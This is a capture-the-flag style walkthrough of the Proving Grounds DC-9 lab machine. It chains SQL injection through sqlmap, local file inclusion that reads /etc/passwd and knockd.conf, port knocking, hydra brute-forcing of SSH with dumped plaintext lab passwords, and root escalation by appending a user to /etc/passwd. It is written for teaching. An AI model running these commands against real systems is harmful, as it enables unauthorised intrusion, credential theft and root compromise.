PG - DC-9

PG – DC-9

In this walk through, we will be going through the DC-9 room from Proving Grounds. This room is rated as Intermediate on the platform and it consist of exploitation via SQL injection to get access to internal application dashboard which is again vulnerable to LFI. The LFI can then be used to knock ON the SSH service that will lead to the initial foothold. For Privilege Escalation, abuse of a custom python file is required that can add contents to sensitive files, thus giving us the root. So, let’s get started without any delay.


Machine Info:

DescriptionDC-9 is an Intermediate level Linux machine that is vulnerable to SQL injection that can give access to internal application dashboard which is again vulnerable to LFI. The LFI can then be used to knock ON a service that will lead to the initial foothold. For Privilege Escalation, abuse of a custom python file is required that can add contents to sensitive files, thus giving us the root.


  • I started off with a regular aggressive nmap scan and found only one port opened – 80 (HTTP).

$ sudo nmap -A
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( ) at 2024-01-14 20:26 IST

Nmap scan report for
Host is up (0.21s latency).
Not shown: 997 closed ports
22/tcp filtered ssh
53/tcp filtered domain
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: - Staff Details - Welcome
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|     	CVE-2019-9517	7.8
|     	PACKETSTORM:171631	7.5	*EXPLOIT*
|     	EDB-ID:51193	7.5	*EXPLOIT*
|     	CVE-2022-31813	7.5
|     	CVE-2022-23943	7.5
|     	CVE-2022-22720	7.5
|     	CVE-2021-44790	7.5
|     	CVE-2021-39275	7.5
|     	CVE-2021-26691	7.5
|     	CVE-2020-11984	7.5
|     	CNVD-2022-73123	7.5
|     	CNVD-2022-03225	7.5
|     	CNVD-2021-102386	7.5
|     	1337DAY-ID-38427	7.5	*EXPLOIT*
|     	1337DAY-ID-34882	7.5	*EXPLOIT*
|     	EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	7.2	*EXPLOIT*
|     	EDB-ID:46676	7.2	*EXPLOIT*
|     	CVE-2019-0211	7.2
|     	1337DAY-ID-32502	7.2	*EXPLOIT*
|     	FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	6.8	*EXPLOIT*
|     	CVE-2021-40438	6.8
|     	CVE-2020-35452	6.8
|     	CNVD-2022-03224	6.8
|     	AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	6.8	*EXPLOIT*
|     	8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	6.8	*EXPLOIT*
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	6.8	*EXPLOIT*
|     	4373C92A-2755-5538-9C91-0469C995AA9B	6.8	*EXPLOIT*
|     	36618CA8-9316-59CA-B748-82F15F407C4F	6.8	*EXPLOIT*
|     	0095E929-7573-5E4A-A7FA-F6598A35E8DE	6.8	*EXPLOIT*
|     	OSV:BIT-2023-31122	6.4
|     	CVE-2022-28615	6.4
|     	CVE-2021-44224	6.4
|     	CVE-2019-10082	6.4
|     	CVE-2019-10097	6.0
|     	CVE-2019-0217	6.0
|     	CVE-2019-0215	6.0
|     	CVE-2022-22721	5.8
|     	CVE-2020-1927	5.8
|     	CVE-2019-10098	5.8
|     	1337DAY-ID-33577	5.8	*EXPLOIT*
|     	OSV:BIT-2023-45802	5.0
|     	OSV:BIT-2023-43622	5.0
|     	F7F6E599-CEF4-5E03-8E10-FE18C4101E38	5.0	*EXPLOIT*
|     	E5C174E5-D6E8-56E0-8403-D287DE52EB3F	5.0	*EXPLOIT*
|     	DB6E1BBD-08B1-574D-A351-7D6BB9898A4A	5.0	*EXPLOIT*
|     	CVE-2022-30556	5.0
|     	CVE-2022-29404	5.0
|     	CVE-2022-28614	5.0
|     	CVE-2022-26377	5.0
|     	CVE-2022-22719	5.0
|     	CVE-2021-36160	5.0
|     	CVE-2021-34798	5.0
|     	CVE-2021-33193	5.0
|     	CVE-2021-26690	5.0
|     	CVE-2020-9490	5.0
|     	CVE-2020-1934	5.0
|     	CVE-2019-17567	5.0
|     	CVE-2019-10081	5.0
|     	CVE-2019-0220	5.0
|     	CVE-2019-0196	5.0
|     	CNVD-2023-93320	5.0
|     	CNVD-2023-80558	5.0
|     	CNVD-2022-73122	5.0
|     	CNVD-2022-53584	5.0
|     	CNVD-2022-53582	5.0
|     	CNVD-2022-03223	5.0
|     	C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B	5.0	*EXPLOIT*
|     	BD3652A9-D066-57BA-9943-4E34970463B9	5.0	*EXPLOIT*
|     	B0208442-6E17-5772-B12D-B5BE30FA5540	5.0	*EXPLOIT*
|     	A820A056-9F91-5059-B0BC-8D92C7A31A52	5.0	*EXPLOIT*
|     	9814661A-35A4-5DB7-BB25-A1040F365C81	5.0	*EXPLOIT*
|     	5A864BCC-B490-5532-83AB-2E4109BB3C31	5.0	*EXPLOIT*
|     	17C6AD2A-8469-56C8-BBBE-1764D0DF1680	5.0	*EXPLOIT*
|     	CVE-2019-0197	4.9
|     	CVE-2020-11993	4.3
|     	CVE-2019-10092	4.3
|     	4013EC74-B3C1-5D95-938A-54197A58586D	4.3	*EXPLOIT*
|     	1337DAY-ID-35422	4.3	*EXPLOIT*
|     	1337DAY-ID-33575	4.3	*EXPLOIT*
|_    	PACKETSTORM:152441	0.0	*EXPLOIT*
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 4 hops

TRACEROUTE (using port 110/tcp)
1   204.05 ms
2   204.01 ms
3   204.10 ms
4   204.84 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 42.17 seconds

nmap scan

  • Enumerated the web server on port 80 and found a page related to Staff Details of - Staff Details

  • Looking through different pages reveals display.php that contains information of all staff members. Upon having a look at the information, it looks like it is using a DB in backend.

Dumping all staff members

  • Using the search.php page we are able to search for particular employee using his/her first or last name.


  • The manage page has a login panel in it. We will come back to it later.

Login panel

  • As of now, i looked into the search.php page and search for the user mary and it gives me the related information back.

Searching for a user

Getting data back from Mary Moe

  • Next, i used the below SQL payload to dump the database contents and it worked. Confirming that the application is vulnerable to SQL Injection.

Mary' OR 1=1-- -

SQL Injection payload

Dumped all data

  • I intercepted the request via Burpsuite and save it in text file named request.txt for sqlmap.

Burpsuite POST request

  • Using sqlmap on the captured request, i first enumerated the available databases on the target.

sqlmap -r request.txt -p search --batch --dbs

Enumerating database name with sqlmap

Got available database

  • Next, i dumped the tables from the users database. Found the table – UserDetails.

sqlmap -r request.txt -p search --batch -D users --tables

Dumping table names

  • Moving on, dumped the columns available in UserDetails table. Found some interesting ones but the most important ones are – username and password.

sqlmap -r request.txt -p search --batch -D users -T UserDetails --columns

Dumping column names

  • Dumped the username and password columns from the DB which gives us the plaintext password of all the users.

sqlmap -r request.txt -p search --batch -D users -T UserDetails -C username,password --dump

Got credentials in user column

marym: 3kfs86sfd 
julied: 468sfdfsd2    
fredf: 4sfd87sfd1    
barneyr: RocksOff      
tomc: TC&TheBoyz    
jerrym: B8m#48sd      
wilmaf: Pebbles       
bettyr: BamBam01      
chandlerb: UrAG0D!       
joeyt: Passw0rd      
rachelg: yN72#dsd      
rossg: ILoveRachel   
monicag: 3248dsds7s    
phoebeb: smellycats    
scoots: YR3BVxxxw87   
janitor: Ilovepeepee
janitor2: Hawaii-Five-0

  • As i have gathered the application DB password, i fired gobuster to reveal any login directories where i can use them. Then, i remembered the manage.php page. Used one of the password there but was unable to move further with that.

gobuster dir -u -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x php

gobuster scan

Logged in as admin

  • Back to the sqlmap results again, i dumped contents of the Staff DB this time and this gave me the password hash of user admin.

sqlmap -r request.txt -p search -D Staff --dump-all --batch

Dumping Staff Details data

Got admin password

  • I cracked the password using Crackstation and found the plaintext version of it.

Cracked the admin password

  • Next, logged into the manage.php page again but again hit a roadblock. But this time there was something on the page footer. A message that “file does not exist”, that means the page was trying to include a local file but was unable to do so. This could be an indication of LFI vulnerability on the page.

Login using the admin creds

File does not exist

Initial Access:

  • I used the common file parameter with the page and tried to dump the contents of /etc/passwd file and got a success. Confirming the LFI vulnerability.

abusing LFI vulnerability

dumping /etc/passwd data

  • As per our nmap results, the SSH service port was not open instead it was filtered. That means, the knock service is in place that is preventing it from being available. Checked the contents of the knockd.conf file and it does reveal that in order to knock the service ON we have to hit a sequence of the given numbers – 7469 8475 9842.

Looking into knockd.conf file

  • Used the knock utility on the target host with the given sequence number and checked if we have a running SSH now with nmap and it worked.

sudo knock 7469 8475 9842
nmap -p 22

knock down the SSH service to ON

  • Next, using the earlier found plaintext passwords of the users. Initiated a password attack against the SSH service using hydra. Got three successful hits.

hydra -L users.txt -P passwords.txt ssh://

bruteforcing the SSH password using hydra

  • Got the initial access via SSH with user chandlerb creds.

logged in as user chandler

  • Switched my user to janitor using her password and found a potential password file in her home directory.

switching user to janitor

  • Again tried the new password list against the SSH service with our previously used username list and got another success, this time for user fredf.

hydra -L users.txt -P pass.txt ssh://

Bruteforcing ssh via hydra

  • Captured the local flag from user fredf home directory

local flag

Privilege Escalation:

  • Next, checked the sudo misconfiguration using the below command and found out that we can run the test binary as root without any password.

sudo -l

sudo -l

  • I looked inside the python file that was used to create the test binary and found out that it can be used to read and append to a file. We can thus abuse it to append our created user information in /etc/passwd file with root privileges enabled to him.


  • Generate password for our new user using openssl.

$ openssl passwd 1234

openssl passwd 1234

  • Add the new user information in a file named add.txt. Next, used the python file as root to add contents of add.txt in /etc/passwd file. Once the process is completed, we can switch to our created user as root with our generated password.

fredf@dc-9:~$ cat add.txt 

fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test /home/fredf/add.txt /etc/passwd

fredf@dc-9:~$ cat /etc/passwd



fredf@dc-9:~$ su root2
root@dc-9:/home/fredf# id
uid=0(root) gid=0(root) groups=0(root)

cat add.txt

got root access

  • Finally captured the root flag and completed the machine.

proof flag

Also Read: PG – Craft2



So that was “DC-9” for you. We started off with a regular nmap scan and found only one port opened – 80 (HTTP). Started the enumeration on port 80 and found a search functionality which is vulnerable to SQL Injection. Used sqlmap to dump the admin hashed password from user columns in Staff Database. Cracked the admin hash using crackstation and got the plaintext password. Next, logged in on the login panel on website and found a LFI vulnerability on the page. Used that to dump the contents of knockd.conf file. Moving on, knocked the SSH service as ON using knock utility. Next, used the usernames and passwords dumped from the SQL database before to bruteforce SSH. Got access as user chandlerb, then switched to user janitor. Got access to a file containing some more password. Again fired hydra on the target with newly found creds and got access as user fredf. For privilege escalation, abused the custom python file named to add user in /etc/passwd file to get root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top